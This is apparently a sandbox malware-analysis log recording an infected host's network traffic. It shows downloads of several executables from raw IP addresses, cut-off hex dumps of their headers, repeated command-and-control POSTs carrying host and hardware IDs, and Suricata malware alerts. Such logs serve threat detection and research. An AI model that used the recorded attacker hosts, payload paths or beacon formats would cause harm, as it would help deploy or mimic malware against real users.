Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 01:09:31 GMTContent-Type: application/octet-streamContent-Length: 3000320Last-Modified: Thu, 31 Oct 2024 01:00:00 GMTConnection: keep-aliveETag: "6722d690-2dc800"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 53 d3 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4a 04 00 00 d6 00 00 00 00 00 00 00 d0 30 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 31 00 00 04 00 00 47 06 2e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 a0 05 00 68 00 00 00 00 90 05 00 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 05 00 00 10 00 00 00 7e 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 40 03 00 00 00 90 05 00 00 04 00 00 00 8e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 05 00 00 02 00 00 00 92 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 75 71 74 6d 6c 78 73 6d 00 10 2b 00 00 b0 05 00 00 0c 2b 00 00 94 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6d 7a 6b 77 74 68 65 66 00 10 00 00 00 c0 30 00 00 06 00 00 00 a0 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 d0 30 00 00 22 00 00 00 a6 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 01:09:39 GMTContent-Type: application/octet-streamContent-Length: 2133504Last-Modified: Thu, 31 Oct 2024 01:00:14 GMTConnection: keep-aliveETag: "6722d69e-208e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 00 e0 72 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 10 73 00 00 04 00 00 46 44 21 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 90 2e 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 91 2e 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 70 2e 00 00 10 00 00 00 76 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 80 2e 00 00 00 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 90 2e 00 00 02 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 50 2a 00 00 a0 2e 00 00 02 00 00 00 88 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 65 68 7a 63 62 67 74 00 e0 19 00 00 f0 58 00 00 de 19 00 00 8a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 67 62 69 7a 6c 6d 77 00 10 00 00 00 d0 72 00 00 04 00 00 00 68 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 e0 72 00 00 22 00 00 00 6c 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 01:09:48 GMTContent-Type: application/octet-streamContent-Length: 919552Last-Modified: Thu, 31 Oct 2024 00:28:14 GMTConnection: keep-aliveETag: "6722cf1e-e0800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 16 cf 22 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 58 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 0e 00 00 04 00 00 a1 db 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 28 9c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 28 9c 00 00 00 40 0d 00 00 9e 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 e0 0d 00 00 76 00 00 00 92 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 01:09:56 GMTContent-Type: application/octet-streamContent-Length: 888832Last-Modified: Sun, 27 Oct 2024 06:45:44 GMTConnection: keep-aliveETag: "671de198-d9000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 90 6c 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 2e 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 ab 02 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 2e 00 ec 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 01 00 10 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 8a cf 01 00 00 10 00 00 00 d0 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 e0 2e 72 64 61 74 61 00 00 08 d1 00 00 00 e0 01 00 00 d2 00 00 00 d4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 9c bd 2b 00 00 c0 02 00 00 9e 0a 00 00 a6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 3e 4b 00 00 00 80 2e 00 00 4c 00 00 00 44 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET /configuredInstallerEXE.exe HTTP/1.1Host: 154.216.17.34
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 37 35 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002753001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/Loader_seyhhd.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 37 35 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002754001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 37 35 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002755001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 37 35 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002756001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIJDGCAEBFIIECAKFHIJHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 43 32 32 33 31 34 34 46 34 39 42 33 35 36 36 31 38 32 35 31 35 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 4a 2d 2d 0d 0a Data Ascii: ------GIJDGCAEBFIIECAKFHIJContent-Disposition: form-data; name="hwid"9C223144F49B3566182515------GIJDGCAEBFIIECAKFHIJContent-Disposition: form-data; name="build"tale------GIJDGCAEBFIIECAKFHIJ--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 37 35 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002757001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJJEGIEHIJKKFIDHDGIDHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 4a 45 47 49 45 48 49 4a 4b 4b 46 49 44 48 44 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 43 32 32 33 31 34 34 46 34 39 42 33 35 36 36 31 38 32 35 31 35 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 45 47 49 45 48 49 4a 4b 4b 46 49 44 48 44 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 45 47 49 45 48 49 4a 4b 4b 46 49 44 48 44 47 49 44 2d 2d 0d 0a Data Ascii: ------HJJEGIEHIJKKFIDHDGIDContent-Disposition: form-data; name="hwid"9C223144F49B3566182515------HJJEGIEHIJKKFIDHDGIDContent-Disposition: form-data; name="build"tale------HJJEGIEHIJKKFIDHDGID--
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIECBFIDGDAKFHIEHJKFHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 49 45 43 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 43 32 32 33 31 34 34 46 34 39 42 33 35 36 36 31 38 32 35 31 35 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 43 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 43 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 2d 2d 0d 0a Data Ascii: ------FIECBFIDGDAKFHIEHJKFContent-Disposition: form-data; name="hwid"9C223144F49B3566182515------FIECBFIDGDAKFHIEHJKFContent-Disposition: form-data; name="build"tale------FIECBFIDGDAKFHIEHJKF--
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIJJKKJJDAAAAAKFHJJDHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 43 32 32 33 31 34 34 46 34 39 42 33 35 36 36 31 38 32 35 31 35 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 44 2d 2d 0d 0a Data Ascii: ------GIJJKKJJDAAAAAKFHJJDContent-Disposition: form-data; name="hwid"9C223144F49B3566182515------GIJJKKJJDAAAAAKFHJJDContent-Disposition: form-data; name="build"tale------GIJJKKJJDAAAAAKFHJJD--

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 104.26.9.202 104.26.9.202

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:49712 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49982 -> 154.216.17.34:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49990 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49995 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49998 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50006 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50013 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:50013 -> 185.215.113.16:80

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
